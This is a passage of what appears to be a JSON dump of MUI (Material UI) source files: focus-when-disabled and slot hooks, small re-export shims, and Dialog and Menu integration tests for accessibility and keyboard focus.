    "content": "import * as React from 'react';\nimport { expect } from 'chai';\nimport { spy } from 'sinon';\nimport { renderHook } from '@mui/internal-test-utils';\nimport useFocusableWhenDisabled from './useFocusableWhenDisabled';\n\ndescribe('useFocusableWhenDisabled', () => {\n  it('omits tabIndex for composite items', () => {\n    const { result } = renderHook(() =>\n      useFocusableWhenDisabled({\n        composite: true,\n        disabled: true,\n        isNativeButton: false,\n      }),\n    );\n\n    expect(result.current).not.to.have.property('tabIndex');\n    expect(result.current['aria-disabled']).to.equal(true);\n  });\n\n  it('sets disabled for non-focusable composite native buttons', () => {\n    const { result } = renderHook(() =>\n      useFocusableWhenDisabled({\n        composite: true,\n        disabled: true,\n        focusableWhenDisabled: false,\n        isNativeButton: true,\n      }),\n    );\n\n    expect(result.current).not.to.have.property('tabIndex');\n    expect(result.current).not.to.have.property('aria-disabled');\n    expect(result.current.disabled).to.equal(true);\n  });\n\n  it('prevents non-Tab keys for focusable disabled items', () => {\n    const { result } = renderHook(() =>\n      useFocusableWhenDisabled({\n        disabled: true,\n        focusableWhenDisabled: true,\n        isNativeButton: true,\n      }),\n    );\n    const preventDefault = spy();\n\n    result.current.onKeyDown({\n      key: 'Enter',\n      preventDefault,\n    } as unknown as React.KeyboardEvent);\n\n    expect(preventDefault.callCount).to.equal(1);\n  });\n\n  it('does not prevent Tab for focusable disabled items', () => {\n    const { result } = renderHook(() =>\n      useFocusableWhenDisabled({\n        disabled: true,\n        focusableWhenDisabled: true,\n        isNativeButton: true,\n      }),\n    );\n    const preventDefault = spy();\n\n    result.current.onKeyDown({\n      key: 'Tab',\n      preventDefault,\n    } as unknown as React.KeyboardEvent);\n\n    expect(preventDefault.callCount).to.equal(0);\n  });\n});\n"
  },
  {
    "path": "packages/mui-material/src/utils/useFocusableWhenDisabled.ts",
    "content": "'use client';\nimport * as React from 'react';\n\nexport interface UseFocusableWhenDisabledParameters {\n  /**\n   * Whether the component should be focusable when disabled.\n   * When `undefined`, composite items are focusable when disabled by default.\n   */\n  focusableWhenDisabled?: boolean | undefined;\n  /**\n   * The disabled state of the component.\n   */\n  disabled: boolean;\n  /**\n   * Whether this is a composite item or not.\n   * @default false\n   */\n  composite?: boolean | undefined;\n  /**\n   * @default 0\n   */\n  tabIndex?: number | undefined;\n  isNativeButton: boolean;\n}\n\ninterface FocusableWhenDisabledProps {\n  'aria-disabled'?: boolean | undefined;\n  disabled?: boolean | undefined;\n  onKeyDown: (event: React.KeyboardEvent) => void;\n  tabIndex?: number | undefined;\n}\n\nexport default function useFocusableWhenDisabled(\n  parameters: UseFocusableWhenDisabledParameters,\n): FocusableWhenDisabledProps {\n  const {\n    focusableWhenDisabled,\n    disabled,\n    composite = false,\n    tabIndex: tabIndexProp = 0,\n    isNativeButton,\n  } = parameters;\n\n  const isFocusableComposite = composite && focusableWhenDisabled !== false;\n  const isNonFocusableComposite = composite && focusableWhenDisabled === false;\n\n  // we can't explicitly assign `undefined` to any of these props because it\n  // would otherwise prevent subsequently merged props from setting them\n  const props = React.useMemo(() => {\n    const additionalProps: FocusableWhenDisabledProps = {\n      // allow Tabbing away from focusableWhenDisabled elements\n      onKeyDown(event: React.KeyboardEvent) {\n        if (disabled && focusableWhenDisabled && event.key !== 'Tab') {\n          event.preventDefault();\n        }\n      },\n    };\n\n    if (!composite) {\n      additionalProps.tabIndex = tabIndexProp;\n\n      if (!isNativeButton && disabled) {\n        additionalProps.tabIndex = focusableWhenDisabled ? tabIndexProp : -1;\n      }\n    }\n\n    if (\n      (isNativeButton && (focusableWhenDisabled || isFocusableComposite)) ||\n      (!isNativeButton && disabled)\n    ) {\n      additionalProps['aria-disabled'] = disabled;\n    }\n\n    if (isNativeButton && (!focusableWhenDisabled || isNonFocusableComposite)) {\n      additionalProps.disabled = disabled;\n    }\n\n    return additionalProps;\n  }, [\n    composite,\n    disabled,\n    focusableWhenDisabled,\n    isFocusableComposite,\n    isNonFocusableComposite,\n    isNativeButton,\n    tabIndexProp,\n  ]);\n\n  return props;\n}\n"
  },
  {
    "path": "packages/mui-material/src/utils/useForkRef.d.ts",
    "content": "import useForkRef from '@mui/utils/useForkRef';\n\nexport default useForkRef;\n"
  },
  {
    "path": "packages/mui-material/src/utils/useForkRef.js",
    "content": "'use client';\nimport useForkRef from '@mui/utils/useForkRef';\n\nexport default useForkRef;\n"
  },
  {
    "path": "packages/mui-material/src/utils/useId.d.ts",
    "content": "import useId from '@mui/utils/useId';\n\nexport default useId;\n"
  },
  {
    "path": "packages/mui-material/src/utils/useId.js",
    "content": "'use client';\nimport useId from '@mui/utils/useId';\n\nexport default useId;\n"
  },
  {
    "path": "packages/mui-material/src/utils/useRovingTabIndex.js",
    "content": "'use client';\nimport useRovingTabIndex from '@mui/utils/useRovingTabIndex';\n\nexport default useRovingTabIndex;\n"
  },
  {
    "path": "packages/mui-material/src/utils/useRovingTabIndex.ts",
    "content": "import useRovingTabIndex from '@mui/utils/useRovingTabIndex';\n\nexport default useRovingTabIndex;\n"
  },
  {
    "path": "packages/mui-material/src/utils/useSlot.test.tsx",
    "content": "import * as React from 'react';\nimport { expect } from 'chai';\nimport { createRenderer, screen } from '@mui/internal-test-utils';\nimport Popper from '../Popper/BasePopper';\nimport { styled } from '../styles';\nimport { SlotProps } from './types';\nimport useSlot from './useSlot';\n\ndescribe('useSlot', () => {\n  const { render } = createRenderer();\n\n  let defaultAnchorElm: HTMLDivElement | null = null;\n  beforeAll(() => {\n    defaultAnchorElm = document.createElement('div');\n    document.body.appendChild(defaultAnchorElm);\n  });\n  afterAll(() => {\n    if (defaultAnchorElm !== null) {\n      document.body.removeChild(defaultAnchorElm);\n      defaultAnchorElm = null;\n    }\n  });\n\n  describe('single slot', () => {\n    const ItemRoot = styled('button')({});\n    const Item = React.forwardRef<\n      HTMLButtonElement,\n      { component?: React.ElementType; href?: string }\n    >((props, ref) => {\n      const [SlotRoot, rootProps] = useSlot('root', {\n        ref,\n        className: 'root',\n        elementType: ItemRoot,\n        externalForwardedProps: props,\n        ownerState: {},\n      });\n      return <SlotRoot {...rootProps} />;\n    });\n\n    it('should render correct tag', () => {\n      render(<Item />);\n      expect(screen.getByRole('button')).toBeVisible();\n    });\n\n    it('should change leaf component and spread props', () => {\n      render(<Item component=\"a\" href=\"/\" />);\n      expect(screen.getByRole('link')).toBeVisible();\n    });\n  });\n\n  describe('multiple slots', () => {\n    const ItemRoot = styled('button')({});\n    const ItemDecorator = styled('span')({});\n    const Item = React.forwardRef<\n      HTMLButtonElement,\n      {\n        className?: string;\n        component?: React.ElementType;\n        href?: string;\n        slots?: { root?: React.ElementType; decorator?: React.ElementType };\n        slotProps?: {\n          root?: SlotProps<'button', Record<string, any>, {}>;\n          decorator?: SlotProps<'span', { size?: 'sm' | 'md' } & Record<string, any>, {}>;\n        };\n      }\n    >((props, ref) => {\n      const [SlotRoot, rootProps] = useSlot('root', {\n        ref,\n        className: 'root',\n        elementType: ItemRoot,\n        externalForwardedProps: props,\n        ownerState: {},\n      });\n      const [SlotDecorator, decoratorProps] = useSlot('decorator', {\n        className: 'decorator',\n        elementType: ItemDecorator,\n        externalForwardedProps: props,\n        ownerState: {},\n      });\n      return (\n        <SlotRoot {...rootProps}>\n          <SlotDecorator {...decoratorProps} />\n        </SlotRoot>\n      );\n    });\n\n    it('should render both tags', () => {\n      render(<Item />);\n      expect(screen.getByRole('button')).toBeVisible();\n      expect(screen.getByRole('button').firstChild).to.have.tagName('span');\n    });\n\n    it('should have classes', () => {\n      render(<Item />);\n      expect(screen.getByRole('button')).to.have.class('root');\n      expect(screen.getByRole('button').firstChild).to.have.class('decorator');\n    });\n\n    it('should append classes', () => {\n      render(<Item className=\"foo-bar\" slotProps={{ decorator: { className: 'foo-bar' } }} />);\n\n      expect(screen.getByRole('button')).to.have.class('root');\n      expect(screen.getByRole('button')).to.have.class('foo-bar');\n      expect(screen.getByRole('button').firstChild).to.have.class('decorator');\n      expect(screen.getByRole('button').firstChild).to.have.class('foo-bar');\n    });\n\n    it('slotProps has higher priority', () => {\n      render(<Item data-item=\"foo\" slotProps={{ root: { 'data-item': 'bar' } }} />);\n\n      expect(screen.getByRole('button')).to.have.attribute('data-item', 'bar');\n    });\n\n    it('can change root leaf component with `component` prop', () => {\n      render(<Item component=\"a\" href=\"/\" />);\n      expect(screen.getByRole('link')).toBeVisible();\n    });\n\n    it('use slotProps `component` over `component` prop', () => {\n      render(<Item component=\"div\" slotProps={{ root: { component: 'a', href: '/' } }} />);\n\n      expect(screen.getByRole('link')).toBeVisible();\n    });\n\n    it('can change decorator leaf component', () => {\n      render(<Item slotProps={{ decorator: { component: 'div' } }} />);\n      expect(screen.getByRole('button').firstChild).to.have.tagName('div');\n    });\n  });\n\n  /**\n   * Simulate `Tooltip`, ...etc\n   */\n  describe('unstyled popper as the root slot', () => {\n    const ItemRoot = styled('div')({});\n    function Item(props: {\n      component?: React.ElementType;\n      slots?: {\n        root?: React.ElementType;\n      };\n      slotProps?: {\n        root?: SlotProps<'div', Record<string, any>, {}>;\n      };\n    }) {\n      const ref = React.useRef(null);\n      const [SlotRoot, rootProps] = useSlot('root', {\n        ref,\n        className: 'root',\n        elementType: Popper,\n        externalForwardedProps: props,\n        ownerState: {},\n        additionalProps: {\n          open: true, // !!force the popper to always visible for testing\n          anchorEl: () => defaultAnchorElm!,\n        },\n        internalForwardedProps: {\n          slots: { root: ItemRoot },\n        },\n      });\n      return <SlotRoot {...rootProps} />;\n    }\n\n    it('should render popper with styled-component', () => {\n      render(<Item />);\n      expect(screen.getByRole('tooltip')).toBeVisible();\n      expect(screen.getByRole('tooltip')).to.have.tagName('div');\n    });\n\n    it('the root slot should be replaceable', () => {\n      const Listbox = React.forwardRef<HTMLUListElement, { component?: React.ElementType }>(\n        function Listbox({ component }, ref) {\n          return <ul ref={ref} data-component={component} />;\n        },\n      );\n\n      render(<Item slots={{ root: Listbox }} />);\n      expect(screen.getByRole('list')).toBeVisible();\n      expect(screen.getByRole('list')).not.to.have.attribute('class');\n      // to test that the `component` prop should not forward to the custom slot.\n      expect(screen.getByRole('list')).not.to.have.attribute('data-component');\n    });\n\n    it('the root component can be changed', () => {\n      render(<Item slotProps={{ root: { component: 'aside' } }} />);\n      expect(screen.getByRole('tooltip')).to.have.tagName('aside');\n    });\n  });\n\n  /**\n   * Simulate `Autocomplete`, `Select`, ...etc\n   */\n  describe('multiple slots with unstyled popper', () => {\n    const ItemRoot = styled('button')({});\n    const ItemListbox = styled('ul')({\n      margin: 'initial', // prevent Popper error.\n    });\n    const ItemOption = styled('div')({});\n\n    function Item(props: {\n      component?: React.ElementType;\n      slots?: {\n        root?: React.ElementType;\n        listbox?: React.ElementType;\n        option?: React.ElementType;\n      };\n      slotProps?: {\n        root?: SlotProps<'button', Record<string, any>, {}>;\n        listbox?: SlotProps<'ul', Record<string, any>, {}>;\n        option?: SlotProps<'div', Record<string, any>, {}>;\n      };\n    }) {\n      const ref = React.useRef(null);\n      const [SlotRoot, rootProps] = useSlot('root', {\n        ref,\n        className: 'root',\n        elementType: ItemRoot,\n        externalForwardedProps: props,\n        ownerState: {},\n      });\n      const [SlotListbox, listboxProps] = useSlot('listbox', {\n        className: 'listbox',\n        elementType: Popper as unknown as 'ul',\n        externalForwardedProps: props,\n        ownerState: {},\n        additionalProps: {\n          open: true, // !!force the popper to always visible for testing\n          role: 'menu',\n          anchorEl: () => defaultAnchorElm!,\n        },\n        internalForwardedProps: {\n          slots: { root: ItemListbox },\n        },\n      });\n      const [SlotOption, optionProps] = useSlot('option', {\n        className: 'option',\n        elementType: ItemOption,\n        externalForwardedProps: props,\n        ownerState: {},\n        additionalProps: {\n          role: 'menuitem',\n        },\n      });\n      return (\n        <React.Fragment>\n          <SlotRoot {...rootProps} />\n          <SlotListbox {...listboxProps}>\n            <SlotOption as=\"li\" {...optionProps} />\n          </SlotListbox>\n        </React.Fragment>\n      );\n    }\n\n    it('should render popper with styled-component', () => {\n      render(<Item />);\n      expect(screen.getByRole('menu')).toBeVisible();\n      expect(screen.getByRole('menu')).to.have.tagName('ul');\n      expect(screen.getByRole('menu')).to.have.class('listbox');\n      expect(screen.getByRole('menuitem')).to.have.tagName('li');\n    });\n\n    it('the listbox slot should be replaceable', () => {\n      function Listbox({ component }: { component?: React.ElementType }) {\n        return <ul data-component={component} />;\n      }\n\n      render(<Item slots={{ listbox: Listbox }} />);\n      expect(screen.getByRole('list')).toBeVisible();\n      expect(screen.getByRole('list')).not.to.have.attribute('class');\n      // to test that the `component` prop should not forward to the custom slot.\n      expect(screen.getByRole('list')).not.to.have.attribute('data-component');\n    });\n\n    it('the listbox leaf component can be changed', () => {\n      render(<Item slotProps={{ listbox: { component: 'div' } }} />);\n      expect(screen.getByRole('menu')).to.have.tagName('div');\n    });\n\n    it('the option leaf component can be changed', () => {\n      render(<Item slotProps={{ option: { component: 'div' } }} />);\n      expect(screen.getByRole('menuitem')).to.have.tagName('div');\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-material/src/utils/useSlot.ts",
    "content": "'use client';\nimport * as React from 'react';\nimport { ClassValue } from 'clsx';\nimport useForkRef from '@mui/utils/useForkRef';\nimport appendOwnerState from '@mui/utils/appendOwnerState';\nimport resolveComponentProps from '@mui/utils/resolveComponentProps';\nimport mergeSlotProps from '@mui/utils/mergeSlotProps';\n\nexport type WithCommonProps<T> = T & {\n  className?: string | undefined;\n  style?: React.CSSProperties | undefined;\n  ref?: React.Ref<any> | undefined;\n};\n\ntype EventHandlers = Record<string, React.EventHandler<any>>;\n\ntype ExtractComponentProps<P> = P extends infer T | ((ownerState: any) => infer T) ? T : never;\n\n/**\n * An internal function to create a Material UI slot.\n *\n * This is an advanced version of Base UI `useSlotProps` because Material UI allows leaf component to be customized via `component` prop\n * while Base UI does not need to support leaf component customization.\n *\n * @param {string} name: name of the slot\n * @param {object} parameters\n * @returns {[Slot, slotProps]} The slot's React component and the slot's props\n *\n * Note: the returned slot's props\n * - will never contain `component` prop.\n * - might contain `as` prop.\n */\nexport default function useSlot<\n  T extends string,\n  ElementType extends React.ElementType,\n  SlotProps,\n  OwnerState extends {},\n  ExternalSlotProps extends {\n    component?: React.ElementType | undefined;\n    ref?: React.Ref<any> | undefined;\n  },\n  ExternalForwardedProps extends {\n    component?: React.ElementType | undefined;\n    slots?: { [k in T]?: React.ElementType } | undefined;\n    slotProps?:\n      | {\n          [k in T]?: ExternalSlotProps | ((ownerState: OwnerState) => ExternalSlotProps);\n        }\n      | undefined;\n  },\n  AdditionalProps,\n  SlotOwnerState extends {},\n>(\n  /**\n   * The slot's name. All Material UI components should have `root` slot.\n   *\n   * If the name is `root`, the logic behaves differently from other slots,\n   * e.g. the `externalForwardedProps` are spread to `root` slot but not other slots.\n   */\n  name: T,\n  parameters: (T extends 'root' // root slot must pass a `ref` as a parameter\n    ? { ref: React.ForwardedRef<any> }\n    : { ref?: React.ForwardedRef<any> | undefined }) & {\n    /**\n     * The slot's className\n     */\n    className: ClassValue | ClassValue[];\n    /**\n     * The slot's default styled-component\n     */\n    elementType: ElementType;\n    /**\n     * The component's ownerState\n     */\n    ownerState: OwnerState;\n    /**\n     * The `other` props from the consumer. It has to contain `component`, `slots`, and `slotProps`.\n     * The function will use those props to calculate the final rendered element and the returned props.\n     *\n     * If the slot is not `root`, the rest of the `externalForwardedProps` are neglected.\n     */\n    externalForwardedProps: ExternalForwardedProps;\n    getSlotProps?: ((other: EventHandlers) => WithCommonProps<SlotProps>) | undefined;\n    additionalProps?: WithCommonProps<AdditionalProps> | undefined;\n    /**\n     * props forward to `T` only if the `slotProps.*.component` is not provided.\n     * e.g. Autocomplete's listbox uses Popper + StyledComponent\n     */\n    internalForwardedProps?: any;\n    /**\n     * Set to true if the `elementType` is a styled component of another Material UI component.\n     *\n     * For example, the AlertRoot is a styled component of the Paper component.\n     * This flag is used to forward the `component` and `slotProps.root.component` to the Paper component.\n     * Otherwise, the `component` prop will be converted to `as` prop which replaces the Paper component (the paper styles are gone).\n     */\n    shouldForwardComponentProp?: boolean | undefined;\n  },\n) {\n  const {\n    className,\n    elementType: initialElementType,\n    ownerState,\n    externalForwardedProps,\n    internalForwardedProps,\n    shouldForwardComponentProp = false,\n    ...useSlotPropsParams\n  } = parameters;\n  const {\n    component: rootComponent,\n    slots = { [name]: undefined },\n    slotProps = { [name]: undefined },\n    ...other\n  } = externalForwardedProps;\n\n  const elementType = slots[name] || initialElementType;\n\n  // `slotProps[name]` can be a callback that receives the component's ownerState.\n  // `resolvedComponentsProps` is always a plain object.\n  const resolvedComponentsProps = resolveComponentProps(slotProps[name], ownerState);\n\n  const {\n    props: { component: slotComponent, ...mergedProps },\n    internalRef,\n  } = mergeSlotProps({\n    className,\n    ...useSlotPropsParams,\n    externalForwardedProps: name === 'root' ? other : undefined,\n    externalSlotProps: resolvedComponentsProps,\n  });\n\n  const ref = useForkRef(internalRef, resolvedComponentsProps?.ref, parameters.ref);\n\n  const LeafComponent = (name === 'root' ? slotComponent || rootComponent : slotComponent) as\n    | React.ElementType\n    | undefined;\n\n  const props = appendOwnerState(\n    elementType,\n    {\n      ...(name === 'root' && !rootComponent && !slots[name] && internalForwardedProps),\n      ...(name !== 'root' && !slots[name] && internalForwardedProps),\n      ...mergedProps,\n      ...(LeafComponent &&\n        !shouldForwardComponentProp && {\n          as: LeafComponent,\n        }),\n      ...(LeafComponent &&\n        shouldForwardComponentProp && {\n          component: LeafComponent,\n        }),\n      ref,\n    },\n    ownerState,\n  );\n\n  return [elementType, props] as [\n    ElementType,\n    {\n      className: string;\n      ownerState: OwnerState & SlotOwnerState;\n    } & AdditionalProps &\n      SlotProps &\n      ExternalSlotProps &\n      ExtractComponentProps<\n        Exclude<Exclude<ExternalForwardedProps['slotProps'], undefined>[T], undefined>\n      >,\n  ];\n}\n"
  },
  {
    "path": "packages/mui-material/src/version/index.ts",
    "content": "export const version = process.env.MUI_VERSION;\nexport const major = Number(process.env.MUI_MAJOR_VERSION);\nexport const minor = Number(process.env.MUI_MINOR_VERSION);\nexport const patch = Number(process.env.MUI_PATCH_VERSION);\nexport const prerelease = process.env.MUI_PRERELEASE;\n\nexport default version;\n"
  },
  {
    "path": "packages/mui-material/src/zero-styled/index.tsx",
    "content": "import { Interpolation } from '@mui/system';\nimport { extendSxProp } from '@mui/system/styleFunctionSx';\nimport { Theme } from '../styles/createTheme';\nimport useTheme from '../styles/useTheme';\nimport GlobalStyles, { GlobalStylesProps } from '../GlobalStyles';\n\nexport { css, keyframes } from '@mui/system';\n\nexport { default as styled } from '../styles/styled';\n\nexport function globalCss(styles: Interpolation<{ theme: Theme }>) {\n  return function GlobalStylesWrapper(props: Record<string, any>) {\n    return (\n      // Pigment CSS `globalCss` support callback with theme inside an object but `GlobalStyles` support theme as a callback value.\n      <GlobalStyles\n        styles={\n          (typeof styles === 'function'\n            ? (theme) => styles({ theme, ...props })\n            : styles) as GlobalStylesProps['styles']\n        }\n      />\n    );\n  };\n}\n\n// eslint-disable-next-line @typescript-eslint/naming-convention\nexport function internal_createExtendSxProp() {\n  return extendSxProp;\n}\n\nexport { useTheme };\n"
  },
  {
    "path": "packages/mui-material/test/describeConformance.ts",
    "content": "import {\n  describeConformance as baseDescribeConformance,\n  ConformanceOptions,\n} from '@mui/internal-test-utils';\nimport { ThemeProvider, createTheme } from '@mui/material/styles';\nimport DefaultPropsProvider from '@mui/material/DefaultPropsProvider';\n\nexport default function describeConformance(\n  minimalElement: React.ReactElement<unknown>,\n  getOptions: () => ConformanceOptions,\n) {\n  function getOptionsWithDefaults() {\n    return {\n      ThemeProvider,\n      createTheme,\n      DefaultPropsProvider,\n      ...getOptions(),\n    };\n  }\n\n  return baseDescribeConformance(minimalElement, getOptionsWithDefaults);\n}\n"
  },
  {
    "path": "packages/mui-material/test/integration/DialogIntegration.test.js",
    "content": "import * as React from 'react';\nimport { expect } from 'chai';\nimport { createRenderer, screen } from '@mui/internal-test-utils';\nimport Dialog from '@mui/material/Dialog';\nimport DialogTitle from '@mui/material/DialogTitle';\n\ndescribe('<Dialog /> integration', () => {\n  const { render } = createRenderer();\n\n  it('is automatically labelled by its DialogTitle', () => {\n    render(\n      <Dialog open>\n        <DialogTitle>Set backup account</DialogTitle>\n      </Dialog>,\n    );\n\n    expect(screen.getByRole('dialog')).toHaveAccessibleName('Set backup account');\n  });\n\n  it('can be manually labelled', () => {\n    render(\n      <Dialog open aria-labelledby=\"dialog-title\">\n        <DialogTitle id=\"dialog-title\">Set backup account</DialogTitle>\n      </Dialog>,\n    );\n\n    const dialog = screen.getByRole('dialog');\n    expect(dialog).toHaveAccessibleName('Set backup account');\n    expect(dialog).to.have.attr('aria-labelledby', 'dialog-title');\n  });\n});\n"
  },
  {
    "path": "packages/mui-material/test/integration/Menu.test.js",
    "content": "import * as React from 'react';\nimport PropTypes from 'prop-types';\nimport { expect } from 'chai';\nimport { act, createRenderer, fireEvent, screen } from '@mui/internal-test-utils';\nimport Button from '@mui/material/Button';\nimport MenuItem from '@mui/material/MenuItem';\nimport Menu from '@mui/material/Menu';\n\nconst options = [\n  'Show some love to MUI',\n  'Show all notification content',\n  'Hide sensitive notification content',\n];\n\nfunction ButtonMenu(props) {\n  const { selectedIndex: selectedIndexProp, ...other } = props;\n  const [anchorEl, setAnchorEl] = React.useState(null);\n  const [selectedIndex, setSelectedIndex] = React.useState(selectedIndexProp || null);\n\n  const handleClickListItem = (event) => {\n    setAnchorEl(event.currentTarget);\n  };\n\n  const handleMenuItemClick = (event, index) => {\n    setSelectedIndex(index);\n    setAnchorEl(null);\n  };\n\n  const handleClose = () => {\n    setAnchorEl(null);\n  };\n\n  const open = Boolean(anchorEl);\n\n  return (\n    <div>\n      <Button\n        aria-haspopup=\"true\"\n        aria-controls=\"lock-menu\"\n        aria-label=\"open menu\"\n        onClick={handleClickListItem}\n      >\n        {`selectedIndex: ${selectedIndex}, open: ${open}`}\n      </Button>\n      <Menu\n        id=\"lock-menu\"\n        anchorEl={anchorEl}\n        keepMounted\n        open={open}\n        onClose={handleClose}\n        transitionDuration={0}\n        slotProps={{ backdrop: { 'data-testid': 'Backdrop' } }}\n        {...other}\n      >\n        {options.map((option, index) => (\n          <MenuItem\n            key={option}\n            selected={index === selectedIndex}\n            onClick={(event) => handleMenuItemClick(event, index)}\n          >\n            {option}\n          </MenuItem>\n        ))}\n      </Menu>\n    </div>\n  );\n}\n\nButtonMenu.propTypes = { selectedIndex: PropTypes.number };\n\ndescribe('<Menu /> integration', () => {\n  const { clock, render } = createRenderer({ clock: 'fake' });\n\n  it('is part of the DOM by default but hidden', () => {\n    render(<ButtonMenu />);\n\n    expect(screen.getByRole('menu', { hidden: true })).toBeInaccessible();\n  });\n\n  it('does not gain any focus when mounted', () => {\n    render(<ButtonMenu />);\n\n    expect(screen.getByRole('menu', { hidden: true })).not.to.contain(document.activeElement);\n  });\n\n  it('should focus the first item on open', async () => {\n    render(<ButtonMenu />);\n\n    const button = screen.getByRole('button', { name: 'open menu' });\n    await act(async () => {\n      button.focus();\n      button.click();\n    });\n\n    expect(screen.getAllByRole('menuitem')[0]).toHaveFocus();\n  });\n\n  it('changes focus according to keyboard navigation', async () => {\n    render(<ButtonMenu />);\n\n    const button = screen.getByRole('button', { name: 'open menu' });\n    await act(async () => {\n      button.focus();\n      button.click();\n    });\n    const menuitems = screen.getAllByRole('menuitem');\n\n    fireEvent.keyDown(menuitems[0], { key: 'ArrowDown' });\n    expect(menuitems[1]).toHaveFocus();\n\n    fireEvent.keyDown(menuitems[1], { key: 'ArrowUp' });\n    expect(menuitems[0]).toHaveFocus();\n\n    fireEvent.keyDown(menuitems[0], { key: 'ArrowUp' });\n    expect(menuitems[2]).toHaveFocus();\n\n    fireEvent.keyDown(menuitems[2], { key: 'Home' });\n    expect(menuitems[0]).toHaveFocus();\n\n    fireEvent.keyDown(menuitems[0], { key: 'End' });\n    expect(menuitems[2]).toHaveFocus();\n\n    fireEvent.keyDown(menuitems[2], { key: 'ArrowRight' });\n    expect(menuitems[2], 'no change on unassociated keys').toHaveFocus();\n  });\n\n  it('focuses the selected item when opening', async () => {\n    render(<ButtonMenu selectedIndex={2} />);\n\n    const button = screen.getByRole('button', { name: 'open menu' });\n    await act(async () => {\n      button.focus();\n      button.click();\n    });\n\n    expect(screen.getAllByRole('menuitem')[2]).toHaveFocus();\n  });\n\n  describe('Menu variant differences', () => {\n    function OpenMenu(props) {\n      return <Menu anchorEl={document.body} open {...props} />;\n    }\n\n    it('[variant=menu] will focus the first item if nothing is selected', () => {\n      render(\n        <OpenMenu variant=\"menu\">\n          <MenuItem />\n          <MenuItem />\n          <MenuItem />\n        </OpenMenu>,\n      );\n\n      const menuitems = screen.getAllByRole('menuitem');\n\n      expect(menuitems[0]).toHaveFocus();\n      expect(menuitems[0]).to.have.property('tabIndex', -1);\n      expect(menuitems[1]).to.have.property('tabIndex', -1);\n      expect(menuitems[2]).to.have.property('tabIndex', -1);\n    });\n\n    it('[variant=selectedMenu] will focus the first item if nothing is selected', () => {\n      render(\n        <OpenMenu variant=\"selectedMenu\">\n          <MenuItem />\n          <MenuItem />\n          <MenuItem />\n        </OpenMenu>,\n      );\n\n      const menuitems = screen.getAllByRole('menuitem');\n\n      expect(menuitems[0]).toHaveFocus();\n      expect(menuitems[0]).to.have.property('tabIndex', 0);\n      expect(menuitems[1]).to.have.property('tabIndex', -1);\n      expect(menuitems[2]).to.have.property('tabIndex', -1);\n    });\n\n    // no case for variant=selectedMenu\n    it('[variant=menu] prioritizes `autoFocus` on `MenuItem`', () => {\n      render(\n        <OpenMenu variant=\"menu\">\n          <MenuItem />\n          <MenuItem />\n          <MenuItem autoFocus />\n        </OpenMenu>,\n      );\n\n      const menuitems = screen.getAllByRole('menuitem');\n\n      expect(menuitems[2]).toHaveFocus();\n      expect(menuitems[0]).to.have.property('tabIndex', -1);\n      expect(menuitems[1]).to.have.property('tabIndex', -1);\n      expect(menuitems[2]).to.have.property('tabIndex', -1);\n    });\n\n    it('[variant=menu] ignores `selected` on `MenuItem`', () => {\n      render(\n        <OpenMenu variant=\"menu\">\n          <MenuItem />\n          <MenuItem selected />\n          <MenuItem />\n        </OpenMenu>,\n      );\n\n      const menuitems = screen.getAllByRole('menuitem');\n\n      expect(menuitems[0]).toHaveFocus();\n      expect(menuitems[0]).to.have.property('tabIndex', -1);\n      expect(menuitems[1]).to.have.property('tabIndex', -1);\n      expect(menuitems[2]).to.have.property('tabIndex', -1);\n    });\n\n    it('[variant=selectedMenu] focuses the `selected` `MenuItem`', () => {\n      render(\n        <OpenMenu variant=\"selectedMenu\">\n          <MenuItem />\n          <MenuItem selected />\n          <MenuItem />\n        </OpenMenu>,\n      );\n\n      const menuitems = screen.getAllByRole('menuitem');\n\n      expect(menuitems[1]).toHaveFocus();\n      expect(menuitems[0]).to.have.property('tabIndex', -1);\n      expect(menuitems[1]).to.have.property('tabIndex', 0);\n      expect(menuitems[2]).to.have.property('tabIndex', -1);\n    });\n\n    it('[variant=selectedMenu] allows overriding `tabIndex` on `MenuItem`', () => {\n      render(\n        <OpenMenu variant=\"selectedMenu\">\n          <MenuItem />\n          <MenuItem selected tabIndex={2} />\n          <MenuItem />\n        </OpenMenu>,\n      );\n\n      const menuitems = screen.getAllByRole('menuitem');\n\n      expect(menuitems[1]).toHaveFocus();\n      expect(menuitems[0]).to.have.property('tabIndex', -1);\n      expect(menuitems[1]).to.have.property('tabIndex', 2);\n      expect(menuitems[2]).to.have.property('tabIndex', -1);\n    });\n\n    // falling back to the menu immediately so that we don't have to come up\n    // with custom fallbacks (for example what happens if the first item is also selected)\n    // it's debatable whether disabled items should still be focusable\n    it('[variant=selectedMenu] focuses the first non-disabled item if the selected menuitem is disabled', () => {\n      render(\n        <OpenMenu variant=\"selectedMenu\">\n          <MenuItem disabled />\n          <MenuItem />\n          <MenuItem disabled selected />\n          <MenuItem />\n        </OpenMenu>,\n      );\n\n      const menuitems = screen.getAllByRole('menuitem');\n\n      expect(menuitems[1]).toHaveFocus();\n      expect(menuitems[0]).to.have.property('tabIndex', -1);\n      expect(menuitems[1]).to.have.property('tabIndex', 0);\n      expect(menuitems[2]).to.have.property('tabIndex', -1);\n      expect(menuitems[3]).to.have.property('tabIndex', -1);\n    });\n\n    // no case for menu\n    // TODO: should this even change focus? I would guess that autoFocus={false}\n    // means \"developer: I take care of focus don't steal it from me\"\n    it('[variant=selectedMenu] focuses no part of the menu when `autoFocus={false}`', () => {\n      render(\n        <OpenMenu\n          autoFocus={false}\n          variant=\"selectedMenu\"\n          slotProps={{ paper: { 'data-testid': 'Paper' } }}\n        >\n          <MenuItem />\n          <MenuItem selected />\n          <MenuItem />\n        </OpenMenu>,\n      );\n\n      const menuitems = screen.getAllByRole('menuitem');\n\n      expect(screen.getByTestId('Paper')).toHaveFocus();\n      expect(menuitems[0]).to.have.property('tabIndex', -1);\n      expect(menuitems[1]).to.have.property('tabIndex', 0);\n      expect(menuitems[2]).to.have.property('tabIndex', -1);\n    });\n\n    it('[variant=selectedMenu] focuses nothing when it is closed and mounted', () => {\n      render(<ButtonMenu selectedIndex={1} variant=\"selectedMenu\" />);\n\n      expect(screen.getByRole('menu', { hidden: true })).not.to.contain(document.activeElement);\n    });\n\n    it('[variant=selectedMenu] focuses the selected item when opening when it was already mounted', async () => {\n      render(<ButtonMenu selectedIndex={1} variant=\"selectedMenu\" />);\n\n      await act(async () => {\n        screen.getByRole('button').focus();\n        screen.getByRole('button').click();\n      });\n      const menuitems = screen.getAllByRole('menuitem');\n\n      expect(menuitems[1]).toHaveFocus();\n      expect(menuitems[0]).to.have.property('tabIndex', -1);\n      expect(menuitems[1]).to.have.property('tabIndex', 0);\n      